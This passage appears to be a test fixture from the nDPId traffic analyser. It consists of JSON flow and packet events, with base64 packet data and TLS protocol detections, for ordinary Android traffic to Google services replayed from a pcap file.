{"version":"TLSv1.2","client_requested_server_name":"datasaver.googleapis.com","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00430{"flow_id":38,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":138589,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA03xFAAEAGmZLAqAIQ2O8meIDaAbu5DOu2\/LuVV4AQAXi5wQAAAQEICv\/\/NtSJFIAO"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":243,"source":"android.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1582454871152,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32996,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":152402,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA82rlAAEAGneLAqAIQ2O8meIDkAbvMauxuAAAAAKAC\/\/8TjwAAAgQFtAQCCAr\/\/zbXAAAAAAEDAwg="} +00428{"flow_id":43,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":164798,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA03fEAAGcGteWtwk9ywKgCEABQj+ImKPRzbuhxUoAQAPhCcAAAAQEICsGE8Af\/\/zbS"} +01043{"flow_id":43,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":166063,"pkt_caplen":524,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":524,"pkt_l4_len":490,"pkt":"TGr2n\/YnxiwDYGpkCABFAAH+3fIAAGcGtBqtwk9ywKgCEABQj+ImKPRzbuhxUoAYAPixuAAAAQEICsGE8Aj\/\/zbSSFRUUC8xLjEgMjAwIE9LDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KQWNjZXNzLUNvbnRyb2wtRXhwb3NlLUhlYWRlcnM6IFZpYSwgWC1PcmlnaW5hbC1Db250ZW50LUxlbmd0aCwgQ2hyb21lLVByb3h5DQpDb250ZW50LUxlbmd0aDogMw0KRGF0ZTogU3VuLCAyMyBGZWIgMjAyMCAxMDo0Nzo1MSBHTVQNClByYWdtYTogbm8tY2FjaGUNCkV4cGlyZXM6IEZyaSwgMDEgSmFuIDE5OTAgMDA6MDA6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZSwgbm8tc3RvcmUsIG11c3QtcmV2YWxpZGF0ZQ0KTGFzdC1Nb2RpZmllZDogVGh1LCAyMSBBcHIgMjAxNiAwMzoxNzoyMiBHTVQNClgtQ29udGVudC1UeXBlLU9wdGlvbnM6IG5vc25pZmYNClNlcnZlcjogc2ZmZQ0KWC1YU1MtUHJvdGVjdGlvbjogMA0KDQpPSwo="} +00440{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":166075,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA82hIAAHUGqYnY7yZ4wKgCEAG7gOSVNE5IzGrsb6AS6yB0TQAAAgQFZAQCCArIBAje\/\/821wEDAwg="} +00430{"flow_id":43,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":166906,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0RuRAAEAGM\/PAqAIQrcJPco\/iAFBu6HFSJij2PYAQAVtAOQAAAQEICv\/\/NtvBhPAI"} +00428{"flow_id":44,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":167064,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0KaEAAHYGlces2RXKwKgCEAG7ytjkokMCL2I2YoAQAPAJtQAAAQEICm0q6MD\/\/zbU"} +00428{"flow_id":46,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":167424,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA02rpAAEAGnenAqAIQ2O8meIDkAbvMauxvlTROSYAQAVeMkAAAAQEICv\/\/NtvIBAje"} +02365{"flow_id":44,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":175159,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+KaoAAHYGkDSs2RXKwKgCEAG7ytjkokMCL2I2YoAQAPB8+AAAAQEICm0q6Mj\/\/zbUFgMDAHoCAAB2AwOiQl3o+g7Fsx4mfI6kUhC4EbefXUTtlIWF\/8GgdhnuviB1NOTF0gGFb6IK4+2hAOm9SIxGs64I4ihATDO0kHBwJRMBAAAuADMAJAAdACD1dsfX4ol5BBkD4h5UKpi1tot14DNRO37PsJDMo4uyPwArAAIDBBQDAwABARcDAwtwB\/Iy9Hp1hwBFSdDO93J\/cAUXGLVlr3h3h84KBeMw9m9unc\/rCEexohSU5SBfAjxQlehWby\/An3V+IlE+RpO\/My6BWdaFGnhV433Xe3L786nudEIHoEYFAr\/6b5jkGFgT5Q3OoAwnCanCaOTDltHSwUKk0DN\/RZkuZJ5NjiwqpuU34HrGB949AWfEt1sqUicVNwZUzlSgY67wwodeB5wX6xtjvuOuYG4kNHq20L3BOm8phjSy95\/3gkpxvlxek6t1BWVgxKvV7+un4SRxjQm3eO8UK3ggvJqarZFD\/rBj2nuOf7x93lUQpbvfsSloTJEHRjmgQaRz75V+DDoBPvyk+9DYP\/HwnO0cYACBIAi90cjKofOGLh+3OxnAOMw\/0JU4Sg1i\/CPtR4h2o3XIvcpT\/2GRnUDp7vkKDcyKxFl\/cW3ugFX44F0OpUxui6v9rYD2h42GNimuFn3xUxdDOCPPuoBRakbKBt9zHSCPrbBJSpR0mBd9A9H4tIQ3AzyVR\/Z65uSORAcGpHzw26OGOcQTG4SZYZbGIUG+cvPJ4zQO3OjqcvuVMTDLK1x1a8ksc1cqD3qq4Yh49TkWoA\/4mxdgnx9Wj7mV38J2XNKCfLEbwQVXnJd5JupYrPtaGx23BlWfQlr7iAX5lX\/cHLwrOTUDC1r3r6yBUotGo+rQdrS61FGExud5R0DPjXYEGXhAcQt6fW\/EJ\/7Xt6MZ8ecoqaFJj47xCGEU0wVPqfLpjkMK5yPXVVjxpvGxiGuTs3198jT27nV4X0SLMNC\/yGKSNRsJ+QN4Tkhid8Hd0Bb2sy50XmNG0J77s4XzcvIgf48BOM2o\/cWRezBPx6IcRzuh412fBbuwWDo9GaFaU7NEN1+Eywgaf88zAhgAnVu12BMDzQPfUvT5jTG\/G4lHsub9PVRFfwiOfGZKExjponUkx7dTc4w23BdLSktlU4TDX+arks5wM4Uz1588LBAB\/+C+P\/xEfAU1DTnDS8fLdp86qeWYZ\/w4vLvt5u5AG1rLxPIiFvFkZNMijwWx5xSRESJQRGM\/nIwgovaNKYp9K9Mix7G1eS7P\/WgTdSulGrdSjYVYDRfjMUFAgdCZqDALqkwYxTWua6LW5++69jAHMEpGcaCyIrD\/JoA6WbOXfmZLFO4A\/Ci+1QyeRR8lmA2xOmkZQo98y4VoBX0D3FozheLIkZtNV+PUup0QzX9GPKP0Wt+h0Cmzgepx5jKcxURStiAZ6ltxzgILgBqbLlkoYwIo\/vexYhebS5peMeVJxRf3UGl5ZR1RE5aBseEXF+vt79swA0I7xKFB5+XiFk3cMbUXrc9gC\/ZO3bTe5y7r0s+jT0WELnbMPuXcoF3B9myZrMg72rtwDGpOGM9M8PEuGkKleqWUXStvyNfKLjyGvAs1VAJe9wfRRYW\/od1mm2\/Qx5vz6IORyyCdT6lGLli7kBuiPGa+PZQo1mTglrNp6\/VQQbBHnCjxffzIT5Ys0jb2v4aLdyQZ2RbSi5ooYdATYj7qUHEsTg5\/\/0y7zhqwPEWPvHagvw0Rer+ov5fkqAhOyAwdlxBlcwrv+QFit5bSeuyoU7G5Z4Dhpy\/kLbZQ8zzkY+vatD47\/TJTY+bHZnm7sZ2bPGaq8P30r2n0S7lr6VYlesAkFFBT8XS8hHHSH9RWK1Wn7DwW9vu5cxshVK091zJwuZY+BlW2SbU4vb3V9rEZIhKk8Lo="} +00839{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":250,"source":"android.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":6,"flow_first_seen":1582454871103,"flow_last_seen":1582454871175,"flow_tot_l4_data_len":2143,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":357,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.21.202","src_port":51928,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DataSaver","breed":"Fun","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"datasaver.googleapis.com","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02348{"flow_id":44,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":251,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":176197,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+KasAAHYGkDOs2RXKwKgCEAG7ytjkokiML2I2YoAQAPAzUgAAAQEICm0q6Mj\/\/zbUKFp+bAY8R9u5KWQmwdC6MEBlLs5ujHycNry\/vfkvFr+3Az3xh\/o24LUXMiWqjUi74z0sXe+GKxsMWJfI3a1f0lo5gOHMXElqLKSO60H5YQX4NRrA5Ql4Y05Es0CWXhNrDPKYTQxJ3UrviGrcYBPR+hA\/OQiV++3P7Le0VeY9t8Dy0UGM3kRWqim8ELx4XecUAmN98B5BlYSY5Aug7t7Xr+WZtdswiidHztVCN8KfeYtosb2xFfQKtfV+iJ61Gv0SualbiOcyf\/WsfBU6EFzvblGAnWPhcUMWW3eHJrVAbmsC4R0owZiigiqcw2TzczwJ3roT+3cuv1K9Whoy7sfkESQQwT3poVh5Mt\/sjwzxmJj2wp5k1C3oiyKRfAoWnFJXRo7jt\/KhQIqzJYJ7zmeHU7+mJVpYKsQixRxM2j+bYgdI0788w2lY36VQvCfxGc9GHDqDH7ML6ZhTURaW7Zuxi9+VU4tih29rydTSkBnZijZe0csiPeOPO7GH80jlx9Injb7wrX7GBh05KM2VcQ18\/IDyWho1Mk8kAcKuCbSEyrxI6szFiq5R4k1hOCHoNjuxiUZW5Z0XP9wTguwvkKLKbszQKaBjabkfG4kgGZP1ZHj3JFu62nZHji1lFJNse8gafiVnrAsAGbov1\/hLlVMsVSn\/5G4CMcXEo5\/I5MFB4OVFspPe1c1J919JP9aQ25YzCH7AHXuYtt5SAri9BpdoqKKaT8T3X52zjGImec60zUjJyrt6Aa3uIak1MUf85TgHochEManIz\/DH82mXcWs0yaeGyTfruxfzl7zCum4J2y+Thv7+Kg12rxECr8P3mEpxwzyoV494zPGc5ESJpQDqSoViPQQXwo70YQUz+RiF3HpuE0K1reRQ08b+Sb+dPoleWTS9iG6fPGj9plAHBRX5HR2qXhZa0rfJXf4v8cJYr3ihicnylVspXiWmCueFt8O\/E+fv7lONnYUPOygQIBHdZRDuDbzH0ONbM2fmiAVicp6qrFfq0w1hWQGOhJEukRMFMCE11ttNaJjHNkuxATI4jtPzzS8J8ClR9cnqdYBikH8tjqd77Nu6t5r79WvZqGwIXwlYS3WERMVN\/GSOW4uyvj9dZ5k6YunYbO0BDfO5bXSKDQRnmuU+XFpzmnJZx5QJ45HHxGjJHGCLoUlkaImapTIJQE1NtF48R03TrD\/lcUphA\/u+SuViZr\/UBtNVH2xatvWqwFbTflH+XI474nPPKZzaTzvN1MZhFq8rJGwxHuptp1Q18Lcao6gQG+r39ZgxwvoE77qjkCG3rqbpsScaDUQ0dFAbLxi6SoVyYTrVVmSMvCZG9Fnq1nN7BupThxkMOdRcx0ycKjaL\/WsAxXEDk6HqptGJMufiKyQgDIYSwAVFnKECRRHxm82eMTMw3naoR9TWZOBjUoTMCvEid4MFCgO0L8r4CTcTHNQguhSm86fFOAxZGjTzVjQsv4vwlArPEbd\/YdKv2bPiyzz0iaY0N6hn9HvBqAWtf2MaH1iHPXqx9UJ2g9wW15aovD2QnPdPlHfGL3UV+hpAyN9v+ivGocqSQ2f7Jhykqs3riaS9uCgTXje5jOzU6Km1otCKVJF2y9DdMdKr4QSCVU+p7J8VdT59InZhs8aaGBNc3fqmLxlZw5pUBO+z6NHBo6G5UipFtYFVQcd2qefBOll86nunEE\/QnTBtxjJl7BOMIn9fNw\/1JIxjji5y\/b9S1INT581mdXmtH+mKzFL+W8GOGQ0ifZdyPfP+ZxRk3zR4canKdNkhkAxtlTcQ+JvYOsBKZdXoSth4qu6gD2M9NPs0eqL3VVldYcZSglCvpKHoVBDziTVVsVGCMlwSbU1iPMXV113R40thbPuaWvd2pnYamvPCLm5\/YwJyf3BzUrc="} +00744{"flow_id":44,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":176201,"pkt_caplen":296,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":296,"pkt_l4_len":262,"pkt":"TGr2n\/YnxiwDYGpkCABFAAEaKawAAHYGlNas2RXKwKgCEAG7ytjkok4WL2I2YoAYAPAHAAAAAQEICm0q6Mj\/\/zbUAlLuQZ7tC2E0I\/+a4yeVVUagZEEPssldkCoLqeJxckTw2TIPmak2VCzniPgQ7M4ovahjuMhAR7qP17BFuihlHGBi1Toiq7\/LsT1UbCaVj9KeWxU3qn5LqVESaWFILTwW4xepPErEhadU4P45jllOiVB7NTdj3qlwiIbh7f8RE8Y\/M17Nek1+tX909HFoLKuLYyNaKg70hb63ilQhvHFXdN5WdJQRR5iXkQxlo57FlsXrcD4fIlE9mL9um2nslYAlzcN39R+reeRMU\/alga+cZCm9X3GP0zzVr\/hbXlJDklrfXJPCxUo="} +00428{"flow_id":44,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":177863,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0AppAAEAGss7AqAIQrNkVysrYAbsvYjZi5KJIjIAQAWIDqAAAAQEICv\/\/Nt1tKujI"} +00429{"flow_id":44,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":178611,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0AptAAEAGss3AqAIQrNkVysrYAbsvYjZi5KJOFoAQAW3+EQAAAQEICv\/\/Nt5tKujI"} +00430{"flow_id":44,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":178669,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0ApxAAEAGsszAqAIQrNkVysrYAbsvYjZi5KJO\/IAQAW39KwAAAQEICv\/\/Nt5tKujI"} +00673{"flow_id":46,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":200149,"pkt_caplen":246,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":246,"pkt_l4_len":212,"pkt":"xiwDYGpkTGr2n\/YnCABFAADo2rtAAEAGnTTAqAIQ2O8meIDkAbvMauxvlTROSYAYAVcGiwAAAQEICv\/\/NuPIBAjeFgMBAK8BAACrAwNFVUmkRCYrsTAD0Sv7c78jm6\/45rXgRFs9zPd5tSprMAAAHMArwCzMqcAvwDDMqMAJwArAE8AUAJwAnQAvADUBAABmAAAAEwARAAAOd3d3Lmdvb2dsZS5jb20AFwAA\/wEAAQAACgAIAAYAHQAXABgACwACAQAAIwAAABAACwAJCGh0dHAvMS4xAAUABQEAAAAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIB"} +00721{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":256,"source":"android.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":4,"flow_first_seen":1582454871152,"flow_last_seen":1582454871200,"flow_tot_l4_data_len":324,"flow_min_l4_data_len":32,"flow_max_l4_data_len":212,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32996,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.google.com","ja3":"6ec2896feff5746955f700c0023f5804","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +01128{"flow_id":41,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":207179,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkTGr2n\/YnCABFAAI5\/AlAAEAGepXAqAIQ2O8meIDcAbs4lMrGVf45RYAYAVcaagAAAQEICv\/\/NuUm516WFgMBAgABAAH8AwM37xcvxqGOp1ZnThmurrs0HSWrnpg6Spe\/m2OgtSLfXSCC4Pfhq3JTS\/EIU4w5K41jaeqfs8B1xjYOKn01wppgBwAiEwETAhMDwCvALMypwC\/AMMyowAnACsATwBQAnACdAC8ANQEAAZEAAAAfAB0AABphbmRyb2lkLmNsaWVudHMuZ29vZ2xlLmNvbQAXAAD\/AQABAAAKAAgABgAdABcAGAALAAIBAAAFAAUBAAAAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAzACYAJAAdACAOqSgSSv06T6U6O4sZxiexLl9ocxA7uiPWoPZ34phLJgAtAAIBAQArAAkIAwQDAwMCAwEAFQDxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00839{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":257,"source":"android.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":4,"flow_first_seen":1582454871069,"flow_last_seen":1582454871207,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32988,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.PlayStore","breed":"Safe","category":"SoftwareUpdate"},"tls": {"version":"TLSv1.2","client_requested_server_name":"android.clients.google.com","ja3":"9c815150ea821166faecf80757d8826a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00428{"flow_id":46,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":213549,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA02kYAAHUGqV3Y7yZ4wKgCEAG7gOSVNE5JzGrtI4AQAPCMDAAAAQEICsgECQ3\/\/zbj"} +00430{"flow_id":41,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":259,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":221044,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0bqkAAHYGE\/vY7yZ4wKgCEAG7gNxV\/jlFOJTMy4AQAPDfhQAAAQEICibnXyD\/\/zbl"} +02338{"flow_id":46,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":230117,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+2kwAAHUGo83Y7yZ4wKgCEAG7gOSVNE5JzGrtI4AQAPB1aQAAAQEICsgECR3\/\/zbjFgMDAE4CAABKAwNeUlhXw\/3wc2vhUSZkKb51rJR+NfM\/M6hET1dOR1JEAQDAKwAAIgAXAAD\/AQABAAALAAIBAAAjAAAAEAALAAkIaHR0cC8xLjEWAwMJIAsACRwACRkABMUwggTBMIIDqaADAgECAhEA73cYYUt8fA4IAAAAAC5xmDANBgkqhkiG9w0BAQsFADBCMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMRMwEQYDVQQDEwpHVFMgQ0EgMU8xMB4XDTIwMDIxMjExNDc0MVoXDTIwMDUwNjExNDc0MVowaDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDU1vdW50YWluIFZpZXcxEzARBgNVBAoTCkdvb2dsZSBMTEMxFzAVBgNVBAMTDnd3dy5nb29nbGUuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAELPMslgUlvxZOlDFYvRPJIO98RYKQx7uXzUIWylPrSSeXXdggs11MzbaxTA\/JzKiAqMFJpBn0DGKEJ4YQCImRt6OCAlUwggJRMA4GA1UdDwEB\/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBT1PLe33SjtRb34dzqS\/+P3nXUEHDAfBgNVHSMEGDAWgBSY0fhuEOvPm+xgnxiQG6DrfQn9KzBkBggrBgEFBQcBAQRYMFYwJwYIKwYBBQUHMAGGG2h0dHA6Ly9vY3NwLnBraS5nb29nL2d0czFvMTArBggrBgEFBQcwAoYfaHR0cDovL3BraS5nb29nL2dzcjIvR1RTMU8xLmNydDAZBgNVHREEEjAQgg53d3cuZ29vZ2xlLmNvbTAhBgNVHSAEGjAYMAgGBmeBDAECAjAMBgorBgEEAdZ5AgUDMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9jcmwucGtpLmdvb2cvR1RTMU8xLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2ALIeBcyLos2KIE6HZvkruYolIGdr2vpw57JJUy3vi5BeAAABcDlw2rAAAAQDAEcwRQIhAKiMq3M57yXUlgoeYqdu3Wm6pPgATel4xUBWT9Z5YanVAiAG9Exs2TAXqLz4lW\/cJ9Mcq8V3x7TT4Zg9tcllvV2soQB3AF6nc\/nfVsDntTZIfdBJ4DJ6kZoMhKESEoQYdZaBcUVYAAABcDlw2ssAAAQDAEgwRgIhAJBI42mkQs84OHrmgVPlkAaxJDPgWyM01l52BLtarMudAiEAwCu7RBS6gTdFaeB+EjpbufWTGQSZ3S9JlN7r5CX4lW4wDQYJKoZIhvcNAQELBQADggEBAINTwJW6way1WTWUCau2DcPJiE1XVScrIuTdGscq6bBjPmYLbltYagtUq++nDEE3fMDfb3\/0lmrSaefS+Y8zGNMO+H2xVDuDjOfCFr8ol\/MvwBkpR2V0P076EM62Ue2pWohNk8IAj8A29sd1mIwR48Hx4D6hOLDa5wKGouWyinkyKjxySDtpcbj9B8IAgNu+Sh98rjiuzhQSmxqoZ71CowmNO47tkJmsV3WbeB6rYBEo8eA+g8zpRsN2qA5M1Cj0LQXlmU6Q6BX+qyG+lM7hjMTtMHZTnvV5gSo1cfjyzJXHxdKTc\/sWMzsUhnYjNslISKlkmbwOw\/XR8VelOgif7MoABE4wggRKMIIDMqADAgECAg0B47SaoY2KqYElaVC4MA0GCSqGSIb3DQEBCwUAMEwxIDAeBgNVBAsTF0dsb2JhbFNpZ24gUm9vdCBDQSAtIFIyMRMwEQYDVQQKEwpHbG9iYWw="} +00780{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":260,"source":"android.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":6,"flow_first_seen":1582454871152,"flow_last_seen":1582454871230,"flow_tot_l4_data_len":1806,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":301,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32996,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.google.com","ja3":"6ec2896feff5746955f700c0023f5804","ja3s":"eca9b8f0f3eae50309eaf901cb822d9b","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1"}} 